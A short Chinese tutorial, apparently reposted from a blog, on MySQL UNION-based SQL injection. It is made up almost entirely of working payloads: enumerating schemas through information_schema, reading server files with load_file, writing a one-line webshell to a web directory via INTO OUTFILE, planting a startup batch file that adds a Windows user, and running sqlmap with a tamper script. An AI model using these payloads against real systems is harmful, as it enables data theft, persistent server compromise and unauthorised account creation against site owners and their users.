Mysql数据库从5.0版本之后开始有information_schema数据库
该数据库存放了Mysql数据库的信息
使用联合注入查询infromation_schema中信息时,注意使用16进制
id=1 union select 1,2,3,4
当如上命令运行后,页面没有回显上面的对应数字,可以使用如下命令
id=1 and 1=2 union select 1,2,3,4
union select 1,2,3,database()
union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=库名的16进制
group_concat():可以将所有返回的信息连成字符串并以“,”分开
union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name = 表名的16进制
表名列名已经知道,就可以直接查询数据了
类似于Access数据库的注入,进行爆破注入。
路径要为绝对路径,要有管理员权限
绝对路径可以在一些报错种查找,没有明确回显的可以通过抓包看
union select 1,2,load_file('C:/www/shell.php')
union select 1,2,load_file('C:\\www\\shell.php')
union select 1,2,load_file(test) #test代表路径的16进制形式
写入的内容一定要使用双引号来引起来
写入一句话木马
union select 1,2,"一句话木马" into outfile 'C:/www/shell.php'
系统命令执行
union select 1,2,"net user test test /add" into outfile 'C://Documents and Settings/Administrator/ [开始] 菜单/程序/启动/a.bat'
如上将代码写入了开机启动,所起开机时就会创建用户
介绍:
使用Sqlmap
sqlmap -u "www.xxx.com/xx.php?id=1" --tamper unmagicquotes.py -v 3
原文:https://www.cnblogs.com/Wuser/p/12324828.html